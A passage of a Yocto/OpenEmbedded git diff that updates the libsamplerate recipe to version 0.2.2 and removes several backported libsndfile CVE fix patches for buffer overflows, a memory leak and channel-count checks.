-DEPENDS = "libsndfile1"
-PR = "r1"
-
-SRC_URI = "http://www.mega-nerd.com/SRC/libsamplerate-${PV}.tar.gz \
- file://0001-configure.ac-improve-alsa-handling.patch \
-"
-
-SRC_URI[md5sum] = "2b78ae9fe63b36b9fbb6267fad93f259"
-SRC_URI[sha256sum] = "0a7eb168e2f21353fb6d84da152e4512126f7dc48ccb0be80578c565413444c1"
-
-CVE_PRODUCT = "libsamplerate"
-
-UPSTREAM_CHECK_URI = "http://www.mega-nerd.com/SRC/download.html"
-
-S = "${WORKDIR}/libsamplerate-${PV}"
-
-inherit autotools pkgconfig
-
-# FFTW and ALSA are only used in tests and examples, so they don't affect
-# normal builds. It should be safe to ignore these, but explicitly disabling
-# them adds some extra certainty that builds are deterministic.
-EXTRA_OECONF = "--disable-fftw --disable-alsa"
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb
new file mode 100644
index 0000000000..ed2b6437dd
--- /dev/null
+++ b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Audio Sample Rate Conversion library"
+DESCRIPTION = "Also known as Secret Rabbit Code - a library for performing sample rate conversion of audio data."
+HOMEPAGE = "https://libsndfile.github.io/libsamplerate/"
+SECTION = "libs"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=336d6faf40fb600bafb0061f4052f1f4 \
+ file://src/samplerate.c;beginline=1;endline=7;md5=7a4238289dc36bfb70968ccaa5bd0d4f"
+DEPENDS = "libsndfile1"
+
+SRC_URI = "https://github.com/libsndfile/libsamplerate/releases/download/${PV}/libsamplerate-${PV}.tar.xz \
+"
+
+SRC_URI[sha256sum] = "3258da280511d24b49d6b08615bbe824d0cacc9842b0e4caf11c52cf2b043893"
+
+CVE_PRODUCT = "libsamplerate"
+
+UPSTREAM_CHECK_URI = "https://github.com/libsndfile/libsamplerate/releases"
+
+S = "${WORKDIR}/libsamplerate-${PV}"
+
+inherit autotools pkgconfig
+
+# FFTW and ALSA are only used in tests and examples, so they don't affect
+# normal builds. It should be safe to ignore these, but explicitly disabling
+# them adds some extra certainty that builds are deterministic.
+EXTRA_OECONF = "--disable-fftw --disable-alsa"
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch
deleted file mode 100644
index a4679cef2a..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch
+++ /dev/null
@@ -1,107 +0,0 @@
-This patch fixes #429 (CVE-2018-19661 CVE-2018-19662) and #344 (CVE-2017-17456
-CVE-2017-17457). As per
-https://github.com/erikd/libsndfile/issues/344#issuecomment-448504425 it also
-fixes #317 (CVE-2017-14245 CVE-2017-14246).
-
-CVE: CVE-2017-14245 CVE-2017-14246
-CVE: CVE-2017-17456 CVE-2017-17457
-CVE: CVE-2018-19661 CVE-2018-19662
-
-Upstream-Status: Backport [8ddc442d539ca775d80cdbc7af17a718634a743f]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 39453899fe1bb39b2e041fdf51a85aecd177e9c7 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 7 Jan 2019 15:55:03 +0800
-Subject: [PATCH] a/ulaw: fix multiple buffer overflows (#432)
-
-i2ulaw_array() and i2alaw_array() fail to handle ptr [count] = INT_MIN
-properly, leading to buffer underflow. INT_MIN is a special value
-since - INT_MIN cannot be represented as int.
-
-In this case round - INT_MIN to INT_MAX and proceed as usual.
-
-f2ulaw_array() and f2alaw_array() fail to handle ptr [count] = NaN
-properly, leading to null pointer dereference.
-
-In this case, arbitrarily set the buffer value to 0.
-
-This commit fixes #429 (CVE-2018-19661 and CVE-2018-19662) and
-fixes #344 (CVE-2017-17456 and CVE-2017-17457).
-
----
- src/alaw.c | 9 +++++++--
- src/ulaw.c | 9 +++++++--
- 2 files changed, 14 insertions(+), 4 deletions(-)
-
-diff --git a/src/alaw.c b/src/alaw.c
-index 063fd1a..4220224 100644
---- a/src/alaw.c
-+++ b/src/alaw.c
-@@ -19,6 +19,7 @@
- #include "sfconfig.h"
-
- #include <math.h>
-+#include <limits.h>
-
- #include "sndfile.h"
- #include "common.h"
-@@ -326,7 +327,9 @@ s2alaw_array (const short *ptr, int count, unsigned char *buffer)
- static inline void
- i2alaw_array (const int *ptr, int count, unsigned char *buffer)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (ptr [count] == INT_MIN)
-+ buffer [count] = alaw_encode [INT_MAX >> (16 + 4)] ;
-+ else if (ptr [count] >= 0)
- buffer [count] = alaw_encode [ptr [count] >> (16 + 4)] ;
- else
- buffer [count] = 0x7F & alaw_encode [- ptr [count] >> (16 + 4)] ;
-@@ -346,7 +349,9 @@ f2alaw_array (const float *ptr, int count, unsigned char *buffer, float normfact
- static inline void
- d2alaw_array (const double *ptr, int count, unsigned char *buffer, double normfact)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (!isfinite (ptr [count]))
-+ buffer [count] = 0 ;
-+ else if (ptr [count] >= 0)
- buffer [count] = alaw_encode [lrint (normfact * ptr [count])] ;
- else
- buffer [count] = 0x7F & alaw_encode [- lrint (normfact * ptr [count])] ;
-diff --git a/src/ulaw.c b/src/ulaw.c
-index e50b4cb..b6070ad 100644
---- a/src/ulaw.c
-+++ b/src/ulaw.c
-@@ -19,6 +19,7 @@
- #include "sfconfig.h"
-
- #include <math.h>
-+#include <limits.h>
-
- #include "sndfile.h"
- #include "common.h"
-@@ -827,7 +828,9 @@ s2ulaw_array (const short *ptr, int count, unsigned char *buffer)
- static inline void
- i2ulaw_array (const int *ptr, int count, unsigned char *buffer)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (ptr [count] == INT_MIN)
-+ buffer [count] = ulaw_encode [INT_MAX >> (16 + 2)] ;
-+ else if (ptr [count] >= 0)
- buffer [count] = ulaw_encode [ptr [count] >> (16 + 2)] ;
- else
- buffer [count] = 0x7F & ulaw_encode [-ptr [count] >> (16 + 2)] ;
-@@ -847,7 +850,9 @@ f2ulaw_array (const float *ptr, int count, unsigned char *buffer, float normfact
- static inline void
- d2ulaw_array (const double *ptr, int count, unsigned char *buffer, double normfact)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (!isfinite (ptr [count]))
-+ buffer [count] = 0 ;
-+ else if (ptr [count] >= 0)
- buffer [count] = ulaw_encode [lrint (normfact * ptr [count])] ;
- else
- buffer [count] = 0x7F & ulaw_encode [- lrint (normfact * ptr [count])] ;
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch
deleted file mode 100644
index 491dae3114..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch
+++ /dev/null
@@ -1,96 +0,0 @@
-Heap-based Buffer Overflow in the psf_binheader_writef function in common.c in
-libsndfile through 1.0.28 allows remote attackers to cause a denial of service
-(application crash) or possibly have unspecified other impact.
-
-CVE: CVE-2017-12562
-Upstream-Status: Backport [cf7a8182c2642c50f1cf90dddea9ce96a8bad2e8]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From b6a9d7e95888ffa77d8c75ce3f03e6c7165587cd Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?J=C3=B6rn=20Heusipp?= <osmanx@problemloesungsmaschine.de>
-Date: Wed, 14 Jun 2017 12:25:40 +0200
-Subject: [PATCH] src/common.c: Fix heap buffer overflows when writing strings
- in binheader
-
-Fixes the following problems:
- 1. Case 's' only enlarges the buffer by 16 bytes instead of size bytes.
- 2. psf_binheader_writef() enlarges the header buffer (if needed) prior to the
- big switch statement by an amount (16 bytes) which is enough for all cases
- where only a single value gets added. Cases 's', 'S', 'p' however
- additionally write an arbitrary length block of data and again enlarge the
- buffer to the required amount. However, the required space calculation does
- not take into account the size of the length field which gets output before
- the data.
- 3. Buffer size requirement calculation in case 'S' does not account for the
- padding byte ("size += (size & 1) ;" happens after the calculation which
- uses "size").
- 4. Case 'S' can overrun the header buffer by 1 byte when no padding is
- involved
- ("memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size + 1) ;" while
- the buffer is only guaranteed to have "size" space available).
- 5. "psf->header.ptr [psf->header.indx] = 0 ;" in case 'S' always writes 1 byte
- beyond the space which is guaranteed to be allocated in the header buffer.
- 6. Case 's' can overrun the provided source string by 1 byte if padding is
- involved ("memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size) ;"
- where "size" is "strlen (strptr) + 1" (which includes the 0 terminator,
- plus optionally another 1 which is padding and not guaranteed to be
- readable via the source string pointer).
-
-Closes: https://github.com/erikd/libsndfile/issues/292
----
- src/common.c | 15 +++++++--------
- 1 file changed, 7 insertions(+), 8 deletions(-)
-
-diff --git a/src/common.c b/src/common.c
-index 1a6204ca..6b2a2ee9 100644
---- a/src/common.c
-+++ b/src/common.c
-@@ -681,16 +681,16 @@ psf_binheader_writef (SF_PRIVATE *psf, const char *format, ...)
- /* Write a C string (guaranteed to have a zero terminator). */
- strptr = va_arg (argptr, char *) ;
- size = strlen (strptr) + 1 ;
-- size += (size & 1) ;
-
-- if (psf->header.indx + (sf_count_t) size >= psf->header.len && psf_bump_header_allocation (psf, 16))
-+ if (psf->header.indx + 4 + (sf_count_t) size + (sf_count_t) (size & 1) > psf->header.len && psf_bump_header_allocation (psf, 4 + size + (size & 1)))
- return count ;
-
- if (psf->rwf_endian == SF_ENDIAN_BIG)
-- header_put_be_int (psf, size) ;
-+ header_put_be_int (psf, size + (size & 1)) ;
- else
-- header_put_le_int (psf, size) ;
-+ header_put_le_int (psf, size + (size & 1)) ;
- memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size) ;
-+ size += (size & 1) ;
- psf->header.indx += size ;
- psf->header.ptr [psf->header.indx - 1] = 0 ;
- count += 4 + size ;
-@@ -703,16 +703,15 @@ psf_binheader_writef (SF_PRIVATE *psf, const char *format, ...)
- */
- strptr = va_arg (argptr, char *) ;
- size = strlen (strptr) ;
-- if (psf->header.indx + (sf_count_t) size > psf->header.len && psf_bump_header_allocation (psf, size))
-+ if (psf->header.indx + 4 + (sf_count_t) size + (sf_count_t) (size & 1) > psf->header.len && psf_bump_header_allocation (psf, 4 + size + (size & 1)))
- return count ;
- if (psf->rwf_endian == SF_ENDIAN_BIG)
- header_put_be_int (psf, size) ;
- else
- header_put_le_int (psf, size) ;
-- memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size + 1) ;
-+ memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size + (size & 1)) ;
- size += (size & 1) ;
- psf->header.indx += size ;
-- psf->header.ptr [psf->header.indx] = 0 ;
- count += 4 + size ;
- break ;
-
-@@ -724,7 +723,7 @@ psf_binheader_writef (SF_PRIVATE *psf, const char *format, ...)
- size = (size & 1) ? size : size + 1 ;
- size = (size > 254) ? 254 : size ;
-
-- if (psf->header.indx + (sf_count_t) size > psf->header.len && psf_bump_header_allocation (psf, size))
-+ if (psf->header.indx + 1 + (sf_count_t) size > psf->header.len && psf_bump_header_allocation (psf, 1 + size))
- return count ;
-
- header_put_byte (psf, size) ;
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch
deleted file mode 100644
index 39b4ec1101..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 85c877d5072866aadbe8ed0c3e0590fbb5e16788 Mon Sep 17 00:00:00 2001
-From: Fabian Greffrath <fabian@greffrath.com>
-Date: Thu, 28 Sep 2017 12:15:04 +0200
-Subject: [PATCH] double64_init: Check psf->sf.channels against upper bound
-
-This prevents division by zero later in the code.
-
-While the trivial case to catch this (i.e. sf.channels < 1) has already
-been covered, a crafted file may report a number of channels that is
-so high (i.e. > INT_MAX/sizeof(double)) that it "somehow" gets
-miscalculated to zero (if this makes sense) in the determination of the
-blockwidth. Since we only support a limited number of channels anyway,
-make sure to check here as well.
-
-CVE: CVE-2017-14634
-
-Closes: https://github.com/erikd/libsndfile/issues/318
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/85c877d5072866aadbe8ed0c3e0590fbb5e16788]
-
-Signed-off-by: Erik de Castro Lopo <erikd@mega-nerd.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- src/double64.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/double64.c b/src/double64.c
-index b318ea8..78dfef7 100644
---- a/src/double64.c
-+++ b/src/double64.c
-@@ -91,7 +91,7 @@ int
- double64_init (SF_PRIVATE *psf)
- { static int double64_caps ;
-
-- if (psf->sf.channels < 1)
-+ if (psf->sf.channels < 1 || psf->sf.channels > SF_MAX_CHANNELS)
- { psf_log_printf (psf, "double64_init : internal error : channels = %d\n", psf->sf.channels) ;
- return SFE_INTERNAL ;
- } ;
---
-2.13.3
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch
deleted file mode 100644
index 89552ac2d9..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From f833c53cb596e9e1792949f762e0b33661822748 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Tue, 23 May 2017 20:15:24 +1000
-Subject: [PATCH] src/aiff.c: Fix a buffer read overflow
-
-Secunia Advisory SA76717.
-
-Found by: Laurent Delosieres, Secunia Research at Flexera Software
-
-CVE: CVE-2017-6892
-Upstream-Status: Backport
-
-Signed-off-by: Fan Xin <fan.xin@jp.fujitsu.com>
-
----
- src/aiff.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/aiff.c b/src/aiff.c
-index 5b5f9f5..45864b7 100644
---- a/src/aiff.c
-+++ b/src/aiff.c
-@@ -1759,7 +1759,7 @@ aiff_read_chanmap (SF_PRIVATE * psf, unsigned dword)
- psf_binheader_readf (psf, "j", dword - bytesread) ;
-
- if (map_info->channel_map != NULL)
-- { size_t chanmap_size = psf->sf.channels * sizeof (psf->channel_map [0]) ;
-+ { size_t chanmap_size = SF_MIN (psf->sf.channels, layout_tag & 0xffff) * sizeof (psf->channel_map [0]) ;
-
- free (psf->channel_map) ;
-
---
-1.9.1
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch
deleted file mode 100644
index ac99516bb3..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch
+++ /dev/null
@@ -1,73 +0,0 @@
-From fd0484aba8e51d16af1e3a880f9b8b857b385eb3 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Wed, 12 Apr 2017 19:45:30 +1000
-Subject: [PATCH] FLAC: Fix a buffer read overrun
-
-Buffer read overrun occurs when reading a FLAC file that switches
-from 2 channels to one channel mid-stream. Only option is to
-abort the read.
-
-Closes: https://github.com/erikd/libsndfile/issues/230
-
-CVE: CVE-2017-8361 CVE-2017-8365
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/fd0484aba8e51d16af1e3a880f9b8b857b385eb3]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- src/common.h | 1 +
- src/flac.c | 13 +++++++++++++
- src/sndfile.c | 1 +
- 3 files changed, 15 insertions(+)
-
-diff --git a/src/common.h b/src/common.h
-index 0bd810c..e2669b6 100644
---- a/src/common.h
-+++ b/src/common.h
-@@ -725,6 +725,7 @@ enum
- SFE_FLAC_INIT_DECODER,
- SFE_FLAC_LOST_SYNC,
- SFE_FLAC_BAD_SAMPLE_RATE,
-+ SFE_FLAC_CHANNEL_COUNT_CHANGED,
- SFE_FLAC_UNKOWN_ERROR,
-
- SFE_WVE_NOT_WVE,
-diff --git a/src/flac.c b/src/flac.c
-index 84de0e2..986a7b8 100644
---- a/src/flac.c
-+++ b/src/flac.c
-@@ -434,6 +434,19 @@ sf_flac_meta_callback (const FLAC__StreamDecoder * UNUSED (decoder), const FLAC_
-
- switch (metadata->type)
- { case FLAC__METADATA_TYPE_STREAMINFO :
-+ if (psf->sf.channels > 0 && psf->sf.channels != (int) metadata->data.stream_info.channels)
-+ { psf_log_printf (psf, "Error: FLAC stream changed from %d to %d channels\n"
-+ "Nothing to be but to error out.\n" ,
-+ psf->sf.channels, metadata->data.stream_info.channels) ;
-+ psf->error = SFE_FLAC_CHANNEL_COUNT_CHANGED ;
-+ return ;
-+ } ;
-+
-+ if (psf->sf.channels > 0 && psf->sf.samplerate != (int) metadata->data.stream_info.sample_rate)
-+ { psf_log_printf (psf, "Warning: FLAC stream changed sample rates from %d to %d.\n"
-+ "Carrying on as if nothing happened.",
-+ psf->sf.samplerate, metadata->data.stream_info.sample_rate) ;
-+ } ;
- psf->sf.channels = metadata->data.stream_info.channels ;
- psf->sf.samplerate = metadata->data.stream_info.sample_rate ;
- psf->sf.frames = metadata->data.stream_info.total_samples ;
-diff --git a/src/sndfile.c b/src/sndfile.c
-index 4187561..e2a87be 100644
---- a/src/sndfile.c
-+++ b/src/sndfile.c
-@@ -245,6 +245,7 @@ ErrorStruct SndfileErrors [] =
- { SFE_FLAC_INIT_DECODER , "Error : problem with initialization of the flac decoder." },
- { SFE_FLAC_LOST_SYNC , "Error : flac decoder lost sync." },
- { SFE_FLAC_BAD_SAMPLE_RATE, "Error : flac does not support this sample rate." },
-+ { SFE_FLAC_CHANNEL_COUNT_CHANGED, "Error : flac channel changed mid stream." },
- { SFE_FLAC_UNKOWN_ERROR , "Error : unknown error in flac decoder." },
-
- { SFE_WVE_NOT_WVE , "Error : not a WVE file." },
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch
deleted file mode 100644
index 9ee7e46a6d..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From ef1dbb2df1c0e741486646de40bd638a9c4cd808 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Fri, 14 Apr 2017 15:19:16 +1000
-Subject: [PATCH] src/flac.c: Fix a buffer read overflow
-
-A file (generated by a fuzzer) which increased the number of channels
-from one frame to the next could cause a read beyond the end of the
-buffer provided by libFLAC. Only option is to abort the read.
-
-Closes: https://github.com/erikd/libsndfile/issues/231
-
-CVE: CVE-2017-8362
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/ef1dbb2df1c0e741486646de40bd638a9c4cd808]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- src/flac.c | 11 +++++++++--
- 1 file changed, 9 insertions(+), 2 deletions(-)
-
-diff --git a/src/flac.c b/src/flac.c
-index 5a4f8c2..e4f9aaa 100644
---- a/src/flac.c
-+++ b/src/flac.c
-@@ -169,6 +169,14 @@ flac_buffer_copy (SF_PRIVATE *psf)
- const int32_t* const *buffer = pflac->wbuffer ;
- unsigned i = 0, j, offset, channels, len ;
-
-+ if (psf->sf.channels != (int) frame->header.channels)
-+ { psf_log_printf (psf, "Error: FLAC frame changed from %d to %d channels\n"
-+ "Nothing to do but to error out.\n" ,
-+ psf->sf.channels, frame->header.channels) ;
-+ psf->error = SFE_FLAC_CHANNEL_COUNT_CHANGED ;
-+ return 0 ;
-+ } ;
-+
- /*
- ** frame->header.blocksize is variable and we're using a constant blocksize
- ** of FLAC__MAX_BLOCK_SIZE.
-@@ -202,7 +210,6 @@ flac_buffer_copy (SF_PRIVATE *psf)
- return 0 ;
- } ;
-
--
- len = SF_MIN (pflac->len, frame->header.blocksize) ;
-
- if (pflac->remain % channels != 0)
-@@ -436,7 +443,7 @@ sf_flac_meta_callback (const FLAC__StreamDecoder * UNUSED (decoder), const FLAC_
- { case FLAC__METADATA_TYPE_STREAMINFO :
- if (psf->sf.channels > 0 && psf->sf.channels != (int) metadata->data.stream_info.channels)
- { psf_log_printf (psf, "Error: FLAC stream changed from %d to %d channels\n"
-- "Nothing to be but to error out.\n" ,
-+ "Nothing to do but to error out.\n" ,
- psf->sf.channels, metadata->data.stream_info.channels) ;
- psf->error = SFE_FLAC_CHANNEL_COUNT_CHANGED ;
- return ;
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch
deleted file mode 100644
index e526e5a346..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From cd7da8dbf6ee4310d21d9e44b385d6797160d9e8 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Wed, 12 Apr 2017 20:19:34 +1000
-Subject: [PATCH] src/flac.c: Fix another memory leak
-
-When the FLAC decoder was passed a malformed file, the associated
-`FLAC__StreamDecoder` object was not getting released.
-
-Closes: https://github.com/erikd/libsndfile/issues/233
-
-CVE: CVE-2017-8363
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/cd7da8dbf6ee4310d21d9e44b385d6797160d9e8]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- src/flac.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/flac.c b/src/flac.c
-index 986a7b8..5a4f8c2 100644
---- a/src/flac.c
-+++ b/src/flac.c
-@@ -841,7 +841,9 @@ flac_read_header (SF_PRIVATE *psf)
-
- psf_log_printf (psf, "End\n") ;
-
-- if (psf->error == 0)
-+ if (psf->error != 0)
-+ FLAC__stream_decoder_delete (pflac->fsd) ;
-+ else
- { FLAC__uint64 position ;
-
- FLAC__stream_decoder_get_decode_position (pflac->fsd, &position) ;
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch
deleted file mode 100644
index 707373d414..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-CVE: CVE-2018-13139
-Upstream-Status: Backport [9dc989eb89cd697e19897afa616d6ab0debe4822]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 9dc989eb89cd697e19897afa616d6ab0debe4822 Mon Sep 17 00:00:00 2001
-From: "Brett T. Warden" <brett.t.warden@intel.com>
-Date: Tue, 28 Aug 2018 12:01:17 -0700
-Subject: [PATCH] Check MAX_CHANNELS in sndfile-deinterleave
-
-Allocated buffer has space for only 16 channels. Verify that input file
-meets this limit.
-
-Fixes #397
----
- programs/sndfile-deinterleave.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/programs/sndfile-deinterleave.c b/programs/sndfile-deinterleave.c
-index e27593e2..cb497e1f 100644
---- a/programs/sndfile-deinterleave.c
-+++ b/programs/sndfile-deinterleave.c
-@@ -89,6 +89,13 @@ main (int argc, char **argv)
- exit (1) ;
- } ;
-
-+ if (sfinfo.channels > MAX_CHANNELS)
-+ { printf ("\nError : Input file '%s' has too many (%d) channels. Limit is %d.\n",
-+ argv [1], sfinfo.channels, MAX_CHANNELS) ;
-+ exit (1) ;
-+ } ;
-+
-+
- state.channels = sfinfo.channels ;
- sfinfo.channels = 1 ;
-
---
-2.11.0
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch
deleted file mode 100644
index 8ded2c0f85..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19432.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From 6f3266277bed16525f0ac2f0f03ff4626f1923e5 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Thu, 8 Mar 2018 18:00:21 +1100
-Subject: [PATCH] Fix max channel count bug
-
-The code was allowing files to be written with a channel count of exactly
-`SF_MAX_CHANNELS` but was failing to read some file formats with the same
-channel count.
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/
-commit/6f3266277bed16525f0ac2f0f03ff4626f1923e5]
-
-CVE: CVE-2018-19432
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
----
- src/aiff.c | 6 +++---
- src/rf64.c | 4 ++--
- src/w64.c | 4 ++--
- src/wav.c | 4 ++--
- 4 files changed, 9 insertions(+), 9 deletions(-)
-
-diff --git a/src/aiff.c b/src/aiff.c
-index fbd43cb..6386bce 100644
---- a/src/aiff.c
-+++ b/src/aiff.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 1999-2016 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 1999-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- ** Copyright (C) 2005 David Viens <davidv@plogue.com>
- **
- ** This program is free software; you can redistribute it and/or modify
-@@ -950,7 +950,7 @@ aiff_read_header (SF_PRIVATE *psf, COMM_
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- if (! (found_chunk & HAVE_FORM))
-@@ -1030,7 +1030,7 @@ aiff_read_comm_chunk (SF_PRIVATE *psf, C
- psf_log_printf (psf, " Sample Rate : %d\n", samplerate) ;
- psf_log_printf (psf, " Frames : %u%s\n", comm_fmt->numSampleFrames, (comm_fmt->numSampleFrames == 0 && psf->filelength > 104) ? " (Should not be 0)" : "") ;
-
-- if (comm_fmt->numChannels < 1 || comm_fmt->numChannels >= SF_MAX_CHANNELS)
-+ if (comm_fmt->numChannels < 1 || comm_fmt->numChannels > SF_MAX_CHANNELS)
- { psf_log_printf (psf, " Channels : %d (should be >= 1 and < %d)\n", comm_fmt->numChannels, SF_MAX_CHANNELS) ;
- return SFE_CHANNEL_COUNT_BAD ;
- } ;
-diff --git a/src/rf64.c b/src/rf64.c
-index d57f0f3..876cd45 100644
---- a/src/rf64.c
-+++ b/src/rf64.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 2008-2017 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 2008-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- ** Copyright (C) 2009 Uli Franke <cls@nebadje.org>
- **
- ** This program is free software; you can redistribute it and/or modify
-@@ -382,7 +382,7 @@ rf64_read_header (SF_PRIVATE *psf, int *
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- /* WAVs can be little or big endian */
-diff --git a/src/w64.c b/src/w64.c
-index 939b716..a37d2c5 100644
---- a/src/w64.c
-+++ b/src/w64.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 1999-2016 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 1999-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- **
- ** This program is free software; you can redistribute it and/or modify
- ** it under the terms of the GNU Lesser General Public License as published by
-@@ -383,7 +383,7 @@ w64_read_header (SF_PRIVATE *psf, int *b
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- psf->endian = SF_ENDIAN_LITTLE ; /* All W64 files are little endian. */
-diff --git a/src/wav.c b/src/wav.c
-index 7bd97bc..dc97545 100644
---- a/src/wav.c
-+++ b/src/wav.c
-@@ -1,5 +1,5 @@
- /*
--** Copyright (C) 1999-2016 Erik de Castro Lopo <erikd@mega-nerd.com>
-+** Copyright (C) 1999-2018 Erik de Castro Lopo <erikd@mega-nerd.com>
- ** Copyright (C) 2004-2005 David Viens <davidv@plogue.com>
- **
- ** This program is free software; you can redistribute it and/or modify
-@@ -627,7 +627,7 @@ wav_read_header (SF_PRIVATE *psf, int *b
- if (psf->sf.channels < 1)
- return SFE_CHANNEL_COUNT_ZERO ;
-
-- if (psf->sf.channels >= SF_MAX_CHANNELS)
-+ if (psf->sf.channels > SF_MAX_CHANNELS)
- return SFE_CHANNEL_COUNT ;
-
- if (format != WAVE_FORMAT_PCM && (parsestage & HAVE_fact) == 0)
---
-1.7.9.5
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-19758.patch
deleted file mode 100644
index c3586f9dfc..0000000000
